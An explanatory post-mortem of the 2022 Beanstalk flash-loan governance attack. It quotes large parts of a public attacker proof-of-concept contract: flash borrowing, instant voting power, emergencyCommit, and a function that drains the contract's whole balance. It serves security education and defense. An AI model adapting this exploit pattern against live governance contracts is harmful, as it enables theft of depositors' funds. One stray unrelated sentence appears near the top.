The Beanstalk Hack

In my free time iwrite and raise my voice in toast.
Date: April 17, 2022 | Lost: $182 million | Attacker Profit: $76 million
What is Beanstalk?
Beanstalk is a cryptocurrency project on Ethereum that created a "stablecoin" called BEAN — a token meant to always be worth $1. Think of it like a digital dollar.
To keep BEAN stable, the protocol needs people to deposit money into it. To incentivize this, Beanstalk rewards depositors with:
Stalk — a governance token (like voting shares in a company)
Seeds — tokens that slowly grow into more Stalk over time
The place where you deposit your money is called the Silo — think of it as the protocol's bank vault.
The key problem: If you deposit money into the Silo, you immediately get Stalk (voting power). There's no waiting period.
What is a Flash Loan?
A flash loan is a special kind of loan unique to blockchain:
You borrow millions (or billions) of dollars
You do something with the money
You return the money — all in the same transaction (a few seconds)
If you can't return it, the entire transaction is cancelled as if nothing happened
You need zero collateral. The only cost is a small fee (0.09%).
This means anyone with a clever idea can temporarily control billions of dollars for the cost of a few thousand.
How Beanstalk's Voting Works
Beanstalk lets Stalk holders vote on proposals called BIPs (Beanstalk Improvement Proposals). These proposals can change anything about the protocol — including moving all the money.
There were two ways to pass a proposal:
| Method | Requirement | Time |
|---|---|---|
| Normal vote | 50% majority | 7 days |
| Emergency vote | 67% supermajority | Immediate (after 1 day waiting) |
The emergency vote function is called emergencyCommit. Here's the actual code:
// Source: GovernanceFacet.sol:180-191 (BeanstalkFarms/Beanstalk @ commit e6a52903d)
function emergencyCommit(uint32 bip) external {
require(isNominated(bip), "Governance: Not nominated.");
require(
block.timestamp >= timestamp(bip).add(C.getGovernanceEmergencyPeriod()),
"Governance: Too early."); // Must wait 1 day (86400 seconds)
require(isActive(bip), "Governance: Ended.");
require(
bipVotePercent(bip).greaterThanOrEqualTo(C.getGovernanceEmergencyThreshold()),
"Governance: Must have super majority."); // Need 2/3 of all votes
_execute(msg.sender, bip, false, true); // Execute immediately!
}
The fatal flaw: This function checks "do you have 67% of votes RIGHT NOW?" — not "did you have 67% of votes yesterday?" An attacker who borrows a billion dollars for 10 seconds has the same voting power as someone who's been invested for a year.
The Architecture: How Beanstalk is Built
Beanstalk uses a design pattern called the Diamond Proxy (EIP-2535). Here's the simple version:
┌──────────────────┐
│ Diamond Proxy │ <-- One address holds ALL the money
│ (Main Contract) │ and ALL the state/data
└────────┬─────────┘
│
┌──────────────┼──────────────┐
│ │ │
┌─────┴─────┐ ┌─────┴─────┐ ┌─────┴─────┐
│ Governance │ │ Silo │ │ Season │ <-- "Facets" = modular
│ Facet │ │ Facet │ │ Facet │ plug-in contracts
└────────────┘ └───────────┘ └───────────┘
One contract holds all the protocol's money and data
Facets are plug-in modules that define behavior (governance, deposits, etc.)
Governance proposals can add, remove, or replace any facet
Proposals can also run any arbitrary code via a special
initfunction
This means: if you control governance, you control everything — including the ability to transfer all money to yourself.
The Attack: Step by Step
Day 1: Set the Trap
The attacker submitted a malicious proposal called BIP-18. It looked like a normal proposal, but its init function was designed to steal everything. Here's how they submitted it:
// Source: Attacker.sol:62-66 (immunefi-team/hack-analysis-pocs)
function submitProposal() internal {
IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0); // No facet changes
bytes memory data = abi.encodeWithSelector(Attacker.getProposalProfit.selector);
IBeanStalk(beanStalk).propose(
_diamondCut,
address(this), // <-- "Run MY code when this passes"
data, // <-- "Specifically, run getProposalProfit()"
3
);
}
The attacker then waited the required 1 day for the proposal to become eligible for emergency voting.
Day 2: Execute the Heist (One Single Transaction)
The entire attack happened in one transaction lasting a few seconds:
// Source: Attacker.sol:120-131 (immunefi-team/hack-analysis-pocs)
// This is the Aave flash loan callback — the heart of the attack
function executeOperation(
address[] calldata,
uint256[] calldata amounts,
uint256[] calldata premiums,
address,
bytes calldata
) external returns (bool) {
getCurveBean(amounts); // Step A: Convert borrowed money to LP tokens
passBip(); // Step B: Deposit, vote, steal
swapCurveBeanBack(amounts, premiums); // Step C: Convert stolen money back, repay loan
return true;
}
Step A: Borrow $1 Billion and Convert It
// Source: Attacker.sol:97-117
// Flash borrow from Aave:
amounts[0] = 350_000_000 * 10**dai.decimals(); // $350M DAI
amounts[1] = 500_000_000 * 10**usdc.decimals(); // $500M USDC
amounts[2] = 150_000_000 * 10**usdt.decimals(); // $150M USDT
The attacker then converted these stablecoins into Beanstalk-compatible LP tokens through Curve Finance pools.
// Source: Attacker.sol:133-149
function getCurveBean(uint256[] calldata amounts) internal {
// Deposit DAI+USDC+USDT into Curve 3pool → get 3CRV tokens
uint256[3] memory tempAmounts;
tempAmounts[0] = amounts[0]; // 350M DAI
tempAmounts[1] = amounts[1]; // 500M USDC
tempAmounts[2] = amounts[2]; // 150M USDT
threeCrvPool.add_liquidity(tempAmounts, 0);
// Deposit 3CRV into BEAN:3CRV pool → get BEAN3CRV-f LP tokens
uint256[2] memory tempAmounts2;
tempAmounts2[0] = 0;
tempAmounts2[1] = threeCrv.balanceOf(address(this));
ICurvePool(crvbean).add_liquidity(tempAmounts2, 0);
}
Step B: Deposit, Get Votes, Pass the Malicious Proposal
// Source: Attacker.sol:151-162
function passBip() internal {
// Deposit LP tokens into the Silo → INSTANTLY get voting power
IBeanStalk(beanStalk).deposit(
crvbean,
ERC20(crvbean).balanceOf(address(this))
);
// No need to call vote() — propose() already auto-voted for us!
// Our deposit auto-increases our vote weight via incrementBipRoots()
// Execute the proposal — we now have >67% of all votes
IBeanStalk(beanStalk).emergencyCommit(bip);
}
When emergencyCommit ran, it executed the attacker's malicious code:
// Source: Attacker.sol:201-207 — The drain function
// This runs via "delegatecall" inside the Diamond Proxy,
// so "address(this)" = the Diamond (which holds ALL the money)
function getProposalProfit() external {
address crvbeanToken = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD;
ERC20(crvbeanToken).transfer(
msg.sender, // Send to attacker
ERC20(crvbeanToken).balanceOf(address(this)) // ALL of it
);
}
Step C: Convert Stolen Tokens, Repay the Flash Loan, Keep the Profit
// Source: Attacker.sol:164-199
function swapCurveBeanBack(uint256[] calldata amounts, uint256[] calldata premiums) internal {
// Convert stolen LP tokens back to stablecoins via Curve
ICurvePool(crvbean).remove_liquidity_one_coin(
ERC20(crvbean).balanceOf(address(this)), 1, 0
);
// Repay Aave flash loans (principal + 0.09% fee)
uint256[3] memory tempAmounts;
tempAmounts[0] = amounts[0] + premiums[0]; // DAI + fee
tempAmounts[1] = amounts[1] + premiums[1]; // USDC + fee
tempAmounts[2] = amounts[2] + premiums[2]; // USDT + fee
threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);
// Everything left over = profit (~$76 million)
threeCrvPool.remove_liquidity_one_coin(threeCrv.balanceOf(address(this)), 1, 0);
}
Why It Happened: The Root Causes
1. Instant Voting Power (No Cooldown)
When you deposit into the Silo, you get voting power immediately:
// Source: LibSilo.sol:43-56 (BeanstalkFarms/Beanstalk @ e6a52903d)
function incrementBalanceOfStalk(address account, uint256 stalk) internal {
AppStorage storage s = LibAppStorage.diamondStorage();
uint256 roots;
if (s.s.roots == 0) roots = stalk.mul(C.getRootsBase());
else roots = s.s.roots.mul(stalk).div(s.s.stalk);
s.s.stalk = s.s.stalk.add(stalk);
s.a[account].s.stalk = s.a[account].s.stalk.add(stalk);
s.s.roots = s.s.roots.add(roots);
s.a[account].roots = s.a[account].roots.add(roots); // Roots = voting power
incrementBipRoots(account, roots); // Auto-adds to all BIPs you've voted on!
}
There's no waiting period. Deposit $1 billion for 5 seconds? Same voting power as depositing $1 billion for 5 years.
2. No Snapshot Voting
Secure protocols take a "snapshot" of who holds tokens before a vote starts. Beanstalk checked your balance live — at the moment you vote:
// Source: VotingBooth.sol:32-35 (BeanstalkFarms/Beanstalk @ e6a52903d)
function recordVote(address account, uint32 bipId) internal {
s.g.voted[bipId][account] = true;
s.g.bips[bipId].roots = s.g.bips[bipId].roots.add(balanceOfRoots(account));
// ^^^^^^^^^^^^^^^^^^^^
// CURRENT balance, not historical
}
3. Emergency Execute = No Time to React
The emergencyCommit function let proposals execute the instant they got 67% support. The community had zero time to see the attack coming and respond.
4. Post-Audit Changes
Beanstalk was audited by Omniscia, but the critical features (BIP-12 and BIP-16) that allowed LP tokens to be deposited for voting power were added after the audit. These unaudited changes created the attack path.
The Result
Borrowed: ~$1,000,000,000 (flash loan — returned)
Drained: ~$182,000,000 (from all Beanstalk depositors)
Profit: ~$76,000,000 (24,830 ETH kept by attacker)
Destroyed: ~$106,000,000 (value lost from BEAN price crash)
Donated: $250,000 (sent to Ukraine charity)
Attack cost: $739 (gas fee for the transaction)
BEAN crashed from $1.00 to $0.21 within minutes.
How Beanstalk Responded
Immediately paused all smart contracts and revoked governance
Launched the "Barn Raise" — a community fundraiser to recapitalize the protocol
Gave affected users IOUs ("Unripe" tokens) redeemable as the protocol recovered
Removed on-chain governance entirely — votes now happen off-chain via Snapshot
Created a 5-of-9 multisig of known community members to execute proposals
Added mandatory timelocks before any proposal can execute
Relaunched in August 2022 with all fixes in place
Established a bug bounty (up to $1.1M via Immunefi)
Founders doxxed themselves (revealed as Benjamin Weintraub and Brendan Sanderson)
The attacker sent all 24,830 ETH through Tornado Cash (a crypto mixer) in 270 transactions. The FBI opened an investigation. No arrests have been publicly confirmed.
The Lesson
If you can borrow a billion dollars for free, and your protocol gives voting power instantly with no cooldown, someone WILL use that to steal everything.
How Secure Protocols Prevent This
| Defense | How It Works | Used By |
|---|---|---|
| Snapshot voting | Your votes count based on what you held before the proposal — tokens bought after don't count | Compound, Uniswap, ENS |
| Vote-escrow (ve-tokens) | Must lock tokens for weeks/years to vote — can't lock & unlock in same transaction | Curve, Balancer, Frax |
| Timelock on execution | Even after a vote passes, wait 48+ hours before it runs — gives community time to react | Compound, Aave |
| Multi-sig guardian | A group of known people can veto malicious proposals during the timelock | Arbitrum, Optimism |
Key References
| Source | What It Provides |
|---|---|
| Immunefi PoC | Verified attack reproduction code (Attacker.sol) |
Beanstalk Repo @ e6a52903d |
Actual vulnerable Solidity code |
| Etherscan TX | On-chain transaction (block 14602790) |
| rekt.news | Attack narrative and analysis |
| bean.money | Official post-mortem |


